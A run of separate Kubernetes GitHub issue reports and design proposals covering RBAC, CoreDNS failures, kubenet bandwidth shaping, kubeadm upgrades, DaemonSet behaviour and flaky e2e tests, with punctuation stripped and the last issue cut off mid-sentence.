<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  kind feature\r \r \r   what happened  :\r in some situation, we don't want user to access both type of resources, i.e., one role can access either resource a, or resource b, but can't access both of them.\r \r currently this can't be achieved through rbac yet.\r \r   what you expected to happen  :\r when user create roles to access both resource a/b, or create role bindings that, when combined, will make one user to access both resources, the creation should fail.\r \r   how to reproduce it  as minimally and precisely as possible   :\r n/a\r \r   anything else we need to know?  :\r n/a\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r 1.9\r - cloud provider or hardware configuration:\r generic server\r \r - os  e.g. from /etc/os-release :\r ubuntu 16.04.3 lts \r \r - kernel  e.g.  uname -a  :\r 4.4.0-92-generic\r - install tools:\r - others:\r \r 

what happened  :\r after kubernetes cluster upgrade from 1.10.6 to 1.11.8 we've started to use coredns instead of kube-dns. \r \r starting from this point dns resolution suffer from intermittent failures for external and internal lookups.\r \r because of that our pods from time to time are getting into crashloopbackoff/error state as some commands are failing  e.g. contacting rabbitmq service, composer install, etc.  with  getaddrinfo failed: name or service not known  message.\r \r coredns logs do not contain any errors other than nxdomain or servfail records.\r \r could you please help with troubleshooting the problem?\r \r   what was tried to mitigate the problem  :\r - bump resources for coredns pods\r - scale coredns replicas to 10 from 2  default \r - add   --resolv-conf=/etc/resolv.conf   flag to kubelet\r - change   ndots   option value to   1   and use   single-request-reopen   option\r - use fqdn for url's\r - change coredns configmap, ended up with:\r    \r .:53 {\r     log\r     errors\r     health\r     kubernetes cluster.local in-addr.arpa ip6.arpa {\r        pods insecure\r        upstream\r        fallthrough in-addr.arpa ip6.arpa\r     }\r     prometheus :9153\r     autopath @kubernetes\r     proxy . /etc/resolv.conf\r     cache 10\r     loop\r     reload\r     loadbalance\r }\r    \r \r   anything else we need to know?  :\r -   resolv.conf   of a host:\r    \r search usg.loc h.ess.com\r nameserver 170.15.15.23\r nameserver 170.10.106.121\r nameserver 4.2.2.1\r    \r -   resolv.conf   of a pod:\r    \r nameserver 10.96.0.10\r search default.svc.cluster.local svc.cluster.local cluster.local usg.loc\r options ndots:5\r    \r - strange behavior when looking up for a domain  10.244.10.39 is one of the coredns endpoints :\r    \r dev@srv-11:~$ nslookup srv-12 10.244.10.39\r server:                 10.244.10.39\r address:                10.244.10.39 53\r \r    server can't find srv-12: servfail\r dev@srv-11:~$ nslookup srv-12 10.244.10.39\r server:                 10.244.10.39\r address:                10.244.10.39 53\r \r name:       srv-12.usg.loc\r address:    170.45.45.45\r \r dev@srv-11:~$ nslookup srv-12 10.244.10.39\r server:                 10.244.10.39\r address:                10.244.10.39 53\r \r non-authoritative answer:\r name:       srv-12.usg.loc\r address:    170.45.45.45\r    \r first it fails to resolve domain name, after a few seconds  i guess result is cached for time configured in the coredns configuration?  it succeeds and returns randomly   aa   and   non aa   answers. hard to explain why does it behaves like that?\r coredns logs:\r    \r 2019-03-08t11:24:42.367z  info  10.244.4.0:39777 - 39207 \ a in srv-12.usg.loc. udp 44 false 512\  nxdomain qr, rd, ra 119 0.00009402s\r 2019-03-08t11:24:42.372z  info  10.244.4.0:39767 - 32176 \ a in srv-12.h.ess.com. udp 47 false 512\  nxdomain qr, rd, ra 133 0.00005102s\r 2019-03-08t11:24:42.382z  info  10.244.4.0:35676 - 48960 \ a in srv-12. udp 32 false 512\  servfail qr, rd, ra 32 0.006422425s\r \r 2019-03-08t11:24:45.210z  info  10.244.4.0:35676 - 39959 \ a in srv-12.usg.loc. udp 44 false 512\  noerror qr, aa, rd, ra 86 0.003173934s\r \r 2019-03-08t11:24:46.344z  info  10.244.4.0:47915 - 59870 \ a in srv-12.usg.loc. udp 44 false 512\  noerror qr, rd, ra 86 0.000126241s\r \r    \r - might be related to the problem or not: kube-proxy logs contain the following error:\r  error removing iptables rules in ipvs proxier: error deleting chain \ kube-mark-masq\ : exit status 1: iptables: too many links. \r \r   environment  :\r - kuberentes version:  1.11.8 \r - cloud provider or hardware configuration:  bare metal \r - cluster configuration:  ha cluster  created using kubeadm  with 3 masters  stacked etcd  and 15 workers  500cpu/2tb ram  \r - os:  ubuntu xenial 16.04.3 \r - kernel:  linux stg-docker-006 4.4.0-96-generic  119-ubuntu smp tue sep 12 14:59:54 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r azure resource id should be case insensitve, while some places are case sensitve:\r \r https://github.com/kubernetes/kubernetes/blob/b8ba75bcd9d3be31e4b53105b2cc67538c9c2d1b/staging/src/k8s.io/legacy-cloud-providers/azure/azure_manageddiskcontroller.go l265\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r \r  /assign

run the  kubernetes-pull-build-test-e2e-gce  https://github.com/kubernetes/kubernetes/blob/master/hack/jenkins/e2e.sh l262  against a gce cluster that uses coreos image at node. see several failures.  artifacts here: https://console.developers.google.com/project/coreos-gce-testing/storage/browser/kubernetes-coreos-jenkin/pr-log/kubernetes-pull-build-test-e2e-gce/73/?pli=1

add expiration time/date field to type policy in pkg/auth/authorizer/abac/abac.go and to the match   function there.

still wip  as mentioned in  12143  and  11617  we want to move printers to the server so that all clients can benefit from them, the naive client implementation is simpler, and so we can avoid having to perform external -> internal conversions in the client.    considerations - a  kubectl get  is an alternative representation of the underlying api object or objects - in http and rest this is most commonly treated as another representation of the same resource.     - we need to support alternate representations of both the list   kubectl get pods   and the individual item   kubectl get pod  . - the representation returned must be structured  an api object  and we need to potentially handle the desire to change that api over time.   - we want to support both command line clients and web clients, and that requires an internal structure   - command line clients may add additional value like wrapping within the terminal window boundaries, or showing and hiding headers   - web clients will wish to transform the response in html and need a structured format - we already enable clients dealing with json and yaml - a serialization in either of those formats would be easily consumed  with a preference for json  - we will need to support additional parameters to these representations, parameters that _only_ make sense when viewing this representation  for instance, wide vs narrow .  other parameters may be common  paging, sorting, filtering . - there are two primary mechanisms for conveying \ alternate return type of content\  for restful objects.     - one is a query parameter   ?table=1   and one is the content type   accept: application/json;tabular=1  .     - we have support for both mechanisms - the former is easier for naive clients, the latter is more \ correct\  in http vocabulary.     - we support  accept: application/json;pretty=1  and  ?pretty=1  today, which are roughly equivalent.   - we already have  export , which is implemented as a query parameter.  export always returns the same object schema as the normal get request. - we have  watch , which is implemented as a query parameter, but which returns a different content-type and object schema as a normal get request. - we want the serialization choice to be obvious to a swagger api consumer  which means it can either be content type or query parameter, although query parameters have more doc . - since this is a variant of the object, i believe we should avoid a subresource  since we would have to create a subresource of a list, which would conflict with resource names .    proposed:  support both content type and query parameter for selecting an alternate representation of the object.  supporting content-type means we can in the future add new representations and allow the user to request multiple serializations in order.  example:      $ curl -h \ accept: application/json;table=wide\  https://server/v1/namespaces/default/pods?table=wide content-type: application/json;table=wide {   \ kind\ : \ table\ ,   \ apiversion\ : \ printers.k8s.io/v1\ ,   \ metadata\ : {     \ resourceversion\ : \ 395\ ,     \ selflink\ : \ https://server/v1/namespaces/default/pods\    },   \ columns\ :       {\ name\ : \ name\ },     {\ name\ : \ age\ },    ,   \ items\ :       {       \ values\ :  \ hello\ , \ 3d\  ,     }     }      issue: do we want to continue the inlining of schemas  return  v1  for  v1  resources , or explicitly return a different schema type?  the latter is easier for generic clients.  the former is easier for versioned clients.  it would be valid to specify  ?watch=1  or  ?export=1  with  ?table=  in the future.  tabular output is a transformation of the resulting object from a get.  this is a reasonably simple table schema  it's possible to extend values in the future  but in the near term additional descriptive metadata could be hung off \ columns\ .  the use of the  table  parameter aligns with the requested schema.  for instance, the \ default filter\  concept needs to be implemented server side, which means each row needs a descriptive field  filtered or not .    implementation  more details needed  - server   - create a new api group  printers.k8s.io  with a  v1  version that accepts this object.   - add a new method  transformtable context api.context, obj runtime.object   api.table, error   to reststorage   - provide a default implementation of  transformtable  on  generic.etcd  that handles fields supported by objectmeta - client   - move  kubectl.printers  into a package outside of  pkg/kubectl  where it can be reused by both   - add functionality to  resource.helper  to request tabular output.     - invoke  decodeinto ..., &v1.table{}   to decode the response  which should error if v1.table is not recognized    - alter  kubectl get  to invoke the generic helper.

here are some ideas of how kubeadm commands could work beyond initial cluster bootstrap. some of these features may be easier to implement with self-hosting, but we can roll something simple on top of the current implementation with static pods and some self-hosted components.    motivation  user should be able to upgrade control plane component or update the configuration without a reset. the interface should be intuitive and idempotent.    how it could work      kubeadm init   after user ran the init command for the very first time, it can be used for configuration updates and simple upgrades.  we will need to store initial input information, which will probably need to include version of kubeadm used, custom flags that were specified and default values of those that weren't. once new configuration had been applied, we will need to update the configuration file.  if new flags and/or feature appeared in the new version, those should be communicated to the user. similarly, we will need to have an ability to eliminate certain flags that may had been needed before and are no longer recommended.      user story 1  user has bootstrapped a cluster with default flags and it worked fine.  after some time, they learned that there exists an overlap in service ip range and the range used by a wider network their cluster is running inside of. they need to make a configuration update.  the interface should be as simple as:      console > kubeadm init --services-cidr=newrange      this should also work:      console > $editor /etc/kubernetes/kubeadm.conf   update default range, set it to the new value > kubeadm init          user story 2  user has ran a cluster for a while, but learned of some issues that they had been asked to debug. they need increase log-level in controller manager.  they should be able to do that with:      console > $editor /etc/kubernetes/kubeadm.conf   update extra component flags, increase controller manager log-level > kubeadm init         user story 3  > _  note:   this is a long one, it's here mostly to illustrate how the ideas above could be taken further._  initial run:       > kubeadm init ...      user has a master machine running current version of control plane components. a configuration file is written with current default value for flags. user has upgraded the kubeadm package some time after this, and they wish to upgrade the control plane components. they have modified the configuration file to set the new version, and they also decided to specify few additional parameters.      > kubeadm init --check-updates the cluster had been initialised with a older version of kubeadm  vx.y.z . by default, we will apply what is specified in the configuration file, and will amend the configuration with new recommended features. new features are:   - a   - b  if you do not wish to apply these features, set  --apply-new=false . additionally, you have specified new configuration:   - use version x   - add flag y   - remove flag z there are flags that are no longer recommended, these will be remove:   - remove m   - change value of n if you don't wish to remove these flags, you can specify  --apply-remove-old=false  at your own risk.          kubeadm join   as join command doesn't do as much as init command does, it may be enough to have two modes here. it will need to store initial information in a configuration file too. - repeated run doesn't do anything - repeated run with new flags may result in node joining a new cluster cluster  if new arguments point to a cluster with a different identifier to the one we have seen previously .    notes on self-hosting  the features described above are applicable to self-hosting as much as current implementation. when we have self-hosting, most users still shouldn't have to understand and manually handle any manifests for the control plane components, they will need a higher level interface that provides some level of configurability and comes with known-to-work-well defaults.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r     root@10-10-101-176 ~   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :   hardware   \r -   os    e.g. from /etc/os-release :   centos linux release 7.3.1611  core    \r -   kernel    e.g.  uname -a  :   3.10.0-327.el7.x86_64   \r -   install tools  :kubeadm\r -   others  :\r \r \r   what happened  :\r failed limit egress bandwidth when use kubenet \r     root@10-10-101-176 ~   kubectl get node\r name                   status         age\r 10-10-101-176.master   ready,master   50d\r 10-10-101-177.node     ready          50d\r 10-10-101-178.node     ready          50d\r \r  root@10-10-101-176 ~   kubectl get pod -owide\r name      ready     status    restarts   age       ip            node\r qos       1/1       running   0          17h       192.168.3.2   10-10-101-178.node\r qos1      1/1       running   1          17h       192.168.2.7   10-10-101-177.node\r    \r the qos.yaml is:\r    apiversion: v1\r kind: pod\r metadata:\r   name: qos\r   annotations:\r         kubernetes.io/ingress-bandwidth: 3m\r         kubernetes.io/egress-bandwidth: 3m\r spec:\r   containers:\r   - name: iperf3\r     imagepullpolicy: never\r    \r the ingress bandwidth work:\r    root@qos:/  iperf3 -s          \r -----------------------------------------------------------\r server listening on 5201\r -----------------------------------------------------------\r accepted connection from 192.168.3.1, port 45939\r    5  local 192.168.3.2 port 5201 connected to 192.168.3.1 port 45940\r   id  interval           transfer     bandwidth\r    5    0.00-1.00   sec   342 kbytes  2.80 mbits/sec                  \r    5    1.00-2.00   sec   347 kbytes  2.84 mbits/sec                  \r    5    2.00-3.00   sec   354 kbytes  2.90 mbits/sec                  \r    5    3.00-4.00   sec   346 kbytes  2.83 mbits/sec                  \r    5    4.00-5.00   sec   350 kbytes  2.86 mbits/sec                  \r    5    5.00-6.00   sec   351 kbytes  2.88 mbits/sec                  \r    5    6.00-7.00   sec   350 kbytes  2.86 mbits/sec                  \r    5    7.00-8.00   sec   348 kbytes  2.85 mbits/sec                  \r    5    8.00-9.00   sec   352 kbytes  2.89 mbits/sec                  \r    5    9.00-10.00  sec   348 kbytes  2.85 mbits/sec                  \r    5   10.00-10.07  sec  20.3 kbytes  2.52 mbits/sec                  \r - - - - - - - - - - - - - - - - - - - - - - - - -\r   id  interval           transfer     bandwidth       retr\r    5    0.00-10.07  sec  3.62 mbytes  3.02 mbits/sec    0             sender\r    5    0.00-10.07  sec  3.43 mbytes  2.85 mbits/sec                  receiver\r -----------------------------------------------------------\r server listening on 5201\r -----------------------------------------------------------\r    \r but the egress not work,10.10.101.178 is the node ip:\r    root@qos:/  iperf3 -c 10.10.101.178\r connecting to host 10.10.101.178, port 5201\r    4  local 192.168.3.2 port 43910 connected to 10.10.101.178 port 5201\r   id  interval           transfer     bandwidth       retr  cwnd\r    4    0.00-1.00   sec   577 mbytes  4.84 gbits/sec    0   3.01 mbytes       \r    4    1.00-2.00   sec   451 mbytes  3.79 gbits/sec    0   3.01 mbytes       \r    4    2.00-3.00   sec   431 mbytes  3.62 gbits/sec    0   3.01 mbytes       \r    4    3.00-4.00   sec   414 mbytes  3.47 gbits/sec    0   3.01 mbytes       \r    4    4.00-5.00   sec   458 mbytes  3.84 gbits/sec    0   3.01 mbytes       \r    4    5.00-6.00   sec   464 mbytes  3.89 gbits/sec    0   3.01 mbytes       \r    4    6.00-7.00   sec   459 mbytes  3.84 gbits/sec   32   3.01 mbytes       \r    4    7.00-8.00   sec   480 mbytes  4.03 gbits/sec    0   3.01 mbytes       \r    4    8.00-9.00   sec   466 mbytes  3.91 gbits/sec    0   3.01 mbytes       \r    4    9.00-10.00  sec   445 mbytes  3.73 gbits/sec    0   3.01 mbytes       \r - - - - - - - - - - - - - - - - - - - - - - - - -\r   id  interval           transfer     bandwidth       retr\r    4    0.00-10.00  sec  4.54 gbytes  3.90 gbits/sec   32             sender\r    4    0.00-10.00  sec  4.54 gbytes  3.90 gbits/sec                  receiver\r    \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r the bridge cbr0's tc infomations as fallow: \r    \r  root@10-10-101-178 ~   tc class show dev cbr0\r class htb 1:1 root prio 0 rate 3000kbit ceil 3000kbit burst 1599b cburst 1599b \r class htb 1:2 root prio 0 rate 3000kbit ceil 3000kbit burst 1599b cburst 1599b \r  root@10-10-101-178 ~   tc qd show dev cbr0\r qdisc htb 1: root refcnt 2 r2q 10 default 30 direct_packets_stat 1204915\r  root@10-10-101-178 ~   tc filter show dev cbr0\r filter parent 1: protocol ip pref 1 u32 \r filter parent 1: protocol ip pref 1 u32 fh 800: ht divisor 1 \r filter parent 1: protocol ip pref 1 u32 fh 800::800 order 2048 key ht 800 bkt 0 flowid 1:1 \r   match c0a80302/ffffffff at 16\r filter parent 1: protocol ip pref 1 u32 fh 800::801 order 2049 key ht 800 bkt 0 flowid 1:2 \r   match c0a80302/ffffffff at 12\r    \r \r    \r  root@10-10-101-178 ~   ip addr show\r 1: lo: <loopback,up,lower_up> mtu 65536 qdisc noqueue state unknown \r     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\r     inet 127.0.0.1/8 scope host lo\r        valid_lft forever preferred_lft forever\r     inet6 ::1/128 scope host \r        valid_lft forever preferred_lft forever\r 2: eth0: <broadcast,multicast,up,lower_up> mtu 1500 qdisc pfifo_fast state up qlen 1000\r     link/ether 00:50:56:bc:6b:e8 brd ff:ff:ff:ff:ff:ff\r     inet 10.10.101.178/24 brd 10.10.101.255 scope global eth0\r        valid_lft forever preferred_lft forever\r     inet6 fe80::250:56ff:febc:6be8/64 scope link \r        valid_lft forever preferred_lft forever\r 3: docker0: <no-carrier,broadcast,multicast,up> mtu 1500 qdisc noqueue state down \r     link/ether 02:42:01:8d:30:0f brd ff:ff:ff:ff:ff:ff\r     inet 172.17.0.1/16 scope global docker0\r        valid_lft forever preferred_lft forever\r 4: tunl0@none: <noarp,up,lower_up> mtu 1440 qdisc noqueue state unknown \r     link/ipip 0.0.0.0 brd 0.0.0.0\r     inet 192.168.97.64/32 scope global tunl0\r        valid_lft forever preferred_lft forever\r 8: cbr0: <broadcast,multicast,promisc,up,lower_up> mtu 1440 qdisc htb state up qlen 1000\r     link/ether 0a:58:c0:a8:03:01 brd ff:ff:ff:ff:ff:ff\r     inet 192.168.3.1/24 scope global cbr0\r        valid_lft forever preferred_lft forever\r     inet6 fe80::cc0a:3cff:feb7:20bd/64 scope link \r        valid_lft forever preferred_lft forever\r 13: veth313aea5e@if4: <broadcast,multicast,up,lower_up> mtu 1440 qdisc noqueue master cbr0 state up \r     link/ether ba:c7:22:24:6c:c5 brd ff:ff:ff:ff:ff:ff link-netnsid 0\r     inet6 fe80::b8c7:22ff:fe24:6cc5/64 scope link \r        valid_lft forever preferred_lft forever\r    \r then i followed the src code:\r   pkg/util/bandwidth/linux.go  \r    \r func  t  tcshaper  limit cidr string, upload, download  resource.quantity   err error  {\r \tvar downloadclass, uploadclass int\r \tif download != nil {\r \t\tif downloadclass, err = t.makenewclass makekbitstring download  ; err != nil {\r \t\t\treturn err\r \t\t}\r \t\tif err := t.execandlog \ tc\ , \ filter\ , \ add\ ,\r \t\t\t\ dev\ , t.iface,\r \t\t\t\ protocol\ , \ ip\ ,\r \t\t\t\ parent\ , \ 1:0\ ,\r \t\t\t\ prio\ , \ 1\ , \ u32\ ,\r \t\t\t\ match\ , \ ip\ , \ dst\ , cidr,\r \t\t\t\ flowid\ , fmt.sprintf \ 1:%d\ , downloadclass  ; err != nil {\r \t\t\treturn err\r \t\t}\r \t}\r \tif upload != nil {\r \t\tif uploadclass, err = t.makenewclass makekbitstring upload  ; err != nil {\r \t\t\treturn err\r \t\t}\r \t\tif err := t.execandlog \ tc\ , \ filter\ , \ add\ ,\r \t\t\t\ dev\ , t.iface,\r \t\t\t\ protocol\ , \ ip\ ,\r \t\t\t\ parent\ , \ 1:0\ ,\r \t\t\t\ prio\ , \ 1\ , \ u32\ ,\r \t\t\t\ match\ , \ ip\ , \ src\ , cidr,\r \t\t\t\ flowid\ , fmt.sprintf \ 1:%d\ , uploadclass  ; err != nil {\r \t\t\treturn err\r \t\t}\r \t}\r \treturn nil\r }\r    \r    in my understanding,the egress traffic  from the pod  can be handled by policing, which simply drops packets. \r    is there some use cases which i misunderstand for the kubenet egress traffic  which use    u32 match ip src cidr flowid ...    ?\r \r \r

when we decide if node shoud run daemon pod the ds should respect other node status as stated here in   l1103  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/daemon/daemoncontroller.go l1103 . @lukaszo @kargakis \r \r /assign\r  /area workload-api/daemonset

is this a bug report or feature request?  :\r   \r   what happened  : i deployed a  microsoft/iis:nanoserver  pod to a windows host, and configured it to use  hostport: 80 . however, the host port was assigned to the infrastructure container instead of the application container, and i was unable to access the application through it. nodeport and the container's ip address continued to work when accessed from the node, but were unreachable from other nodes despite a working network configuration.\r \r   what you expected to happen  : port 80 on the container is exposed to port 80 on the host.\r \r   how to reproduce it  as minimally and precisely as possible   : deploy a pod exposing a host port to a windows node and attempt to access the service via the host port.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:48:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration:  windows  https://kubernetes.io/docs/getting-started-guides/windows/  with manual network configuration.\r - os  e.g. from /etc/os-release : windows insider preview\r - install tools: kubeadm\r

some delete methods in gcecloud return resource notfound errors while others mask it.\r \r for ex: deletehealthcheck returns notfound: https://github.com/kubernetes/kubernetes/blob/5cb1cccd403d9d9b9c24d04ee7092e1064523afa/pkg/cloudprovider/providers/gce/gce_healthchecks.go l68 while deletetargethttpproxy masks it:https://github.com/kubernetes/kubernetes/blob/5cb1cccd403d9d9b9c24d04ee7092e1064523afa/pkg/cloudprovider/providers/gce/gce_targetproxy.go l58\r \r i think we should be consistent in either all of them should return notfound or none of them\r \r cc @csbell @bowei @nicksardo @freehan @g-harmon thoughts?

is this a bug report or feature request?  :\r   /area test\r \r   what happened  :\r kube-proxy migration jobs are flaky since the ingress resource comparison logic was added:\r - https://k8s-testgrid.appspot.com/sig-network-gce gci-gce-latest-upgrade-kube-proxy-ds\r - https://k8s-testgrid.appspot.com/sig-network-gce gci-gce-latest-downgrade-kube-proxy-ds\r \r an example error as below:\r    \r  sig-cluster-lifecycle  kube-proxy migration  feature:kubeproxydaemonsetmigration  upgrade kube-proxy from static pods to a daemonset should maintain a functioning cluster  feature:kubeproxydaemonsetupgrade  21m53s\r \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/lifecycle/cluster_upgrade.go:272\r expected error:\r     < errors.errorstring | 0xc4214e16c0>: {\r         s: \ resources after ingress upgrade were different:\  pre-upgrade:     compute.instancegroup  < >{creationtimestamp: string 2018-01-25t12:59:49.164-08:00 description: string  fingerprint: string 6y5a0r5ln3o= id: uint64 1103185785546865578 kind: string compute instancegroup name: string k8s-ig--211370289044f4f4 namedports:    compute.namedport  < >{name: string port30855 port: int64 30855 forcesendfields:   string <nil> nullfields:   string <nil>} < >{name: string port32020 port: int64 32020 forcesendfields:   string <nil> nullfields:   string <nil>}  network: string https://www.googleapis.com/compute/v1/projects/k8s-jkns-gce-ingress1-4/global/networks/bootstrap-e2e region: string  selflink: string https://www.googleapis.com/compute/v1/projects/k8s-jkns-gce-ingress1-4/zones/us-central1-f/instancegroups/k8s-ig--211370289044f4f4 size: int64 3 subnetwork: string https://www.googleapis.com/compute/v1/projects/k8s-jkns-gce-ingress1-4/regions/us-central1/subnetworks/bootstrap-e2e zone: string https://www.googleapis.com/compute/v1/projects/k8s-jkns-gce-ingress1-4/zones/us-central1-f serverresponse: googleapi.serverresponse {httpstatuscode: int 0 header: http.header <nil>} forcesendfields:   string <nil> nullfields:   string <nil>} \  post-upgrade:     compute.instancegroup  < >{creationtimestamp: string 2018-01-25t12:59:49.164-08:00 description: string  fingerprint: string 6y5a0r5ln3o= id: uint64 1103185785546865578 kind: string compute instancegroup name: string k8s-ig--211370289044f4f4 namedports:    compute.namedport  < >{name: string port30855 port: int64 30855 forcesendfields:   string <nil> nullfields:   string <nil>} < >{name: string port32020 port: int64 32020 forcesendfields:   string <nil> nullfields:   string <nil>}  network: string https://www.googleapis.com/compute/v1/projects/k8s-jkns-gce-ingress1-4/global/networks/bootstrap-e2e region: string  selflink: string https://www.googleapis.com/compute/v1/projects/k8s-jkns-gce-ingress1-4/zones/us-central1-f/instancegroups/k8s-ig--211370289044f4f4 size: int64 2 subnetwork: string https://www.googleapis.com/compute/v1/projects/k8s-jkns-gce-ingress1-4/regions/us-central1/subnetworks/bootstrap-e2e zone: string https://www.googleapis.com/compute/v1/projects/k8s-jkns-gce-ingress1-4/zones/us-central1-f serverresponse: googleapi.serverresponse {httpstatuscode: int 0 header: http.header <nil>} forcesendfields:   string <nil> nullfields:   string <nil>} \ ,\r     }\r     resources after ingress upgrade were different:\r      pre-upgrade:     compute.instancegroup  < >{creationtimestamp: string 2018-01-25t12:59:49.164-08:00 description: string  fingerprint: string 6y5a0r5ln3o= id: uint64 1103185785546865578 kind: string compute instancegroup name: string k8s-ig--211370289044f4f4 namedports:    compute.namedport  < >{name: string port30855 port: int64 30855 forcesendfields:   string <nil> nullfields:   string <nil>} < >{name: string port32020 port: int64 32020 forcesendfields:   string <nil> nullfields:   string <nil>}  network: string https://www.googleapis.com/compute/v1/projects/k8s-jkns-gce-ingress1-4/global/networks/bootstrap-e2e region: string  selflink: string https://www.googleapis.com/compute/v1/projects/k8s-jkns-gce-ingress1-4/zones/us-central1-f/instancegroups/k8s-ig--211370289044f4f4 size: int64 3 subnetwork: string https://www.googleapis.com/compute/v1/projects/k8s-jkns-gce-ingress1-4/regions/us-central1/subnetworks/bootstrap-e2e zone: string https://www.googleapis.com/compute/v1/projects/k8s-jkns-gce-ingress1-4/zones/us-central1-f serverresponse: googleapi.serverresponse {httpstatuscode: int 0 header: http.header <nil>} forcesendfields:   string <nil> nullfields:   string <nil>} \r      post-upgrade:     compute.instancegroup  < >{creationtimestamp: string 2018-01-25t12:59:49.164-08:00 description: string  fingerprint: string 6y5a0r5ln3o= id: uint64 1103185785546865578 kind: string compute instancegroup name: string k8s-ig--211370289044f4f4 namedports:    compute.namedport  < >{name: string port30855 port: int64 30855 forcesendfields:   string <nil> nullfields:   string <nil>} < >{name: string port32020 port: int64 32020 forcesendfields:   string <nil> nullfields:   string <nil>}  network: string https://www.googleapis.com/compute/v1/projects/k8s-jkns-gce-ingress1-4/global/networks/bootstrap-e2e region: string  selflink: string https://www.googleapis.com/compute/v1/projects/k8s-jkns-gce-ingress1-4/zones/us-central1-f/instancegroups/k8s-ig--211370289044f4f4 size: int64 2 subnetwork: string https://www.googleapis.com/compute/v1/projects/k8s-jkns-gce-ingress1-4/regions/us-central1/subnetworks/bootstrap-e2e zone: string https://www.googleapis.com/compute/v1/projects/k8s-jkns-gce-ingress1-4/zones/us-central1-f serverresponse: googleapi.serverresponse {httpstatuscode: int 0 header: http.header <nil>} forcesendfields:   string <nil> nullfields:   string <nil>} \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/ingress.go:185\r    \r \r turned out because during node upgrade, nodes might be removed and re-added to the instance group, which takes time, hence the first resources comparison may fail. instead of doing an one-off comparison, we could do polling instead.\r \r /assign

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r in case the the daemon set controller observe \ failed\  pod on particular node it will immediately try to delete it and then recreate it. in case the pod failed with \ evicted\  reason, this means the daemon set might race with kubelet evicting pods from the node  eg. diskpressure . \r \r   what you expected to happen  :\r \r deamon set controller should \ suspend\  or \ throttle\  pod deletion in case the pod was evicted from the node. i haven't looked closely enough, but i think adding it to \ suspended\  pods might put it into rate limited queue, which might be enough to break hot loop.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create daemonset and make a node with diskpressure which cause kubelet to evict the pod. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  /assign cblecker\r \r   what happened  :\r while working on  58677 there was a repeated failing test in the verify job  make verify what=openapi-spec  reporting an outdated  swagger.json  file. the test was passing locally. running  hack/update-openapi-spec.sh  created no diff in the codebase.\r \r since this is a long running pr i thought we may have missed something so to test i checked out master, deleted the  swagger.json  file and ran  make clean  then  make update .\r \r this produced the exact same  swagger.json  file that was produced on the linked pr branch with an older version generated in the spec   v1.11.0 .\r \r to get the test to pass on pr i checked out that file from current master and committed it. job succeeds.   \r \r   what you expected to happen  :\r the  swagger.json  file to be updated with the correct 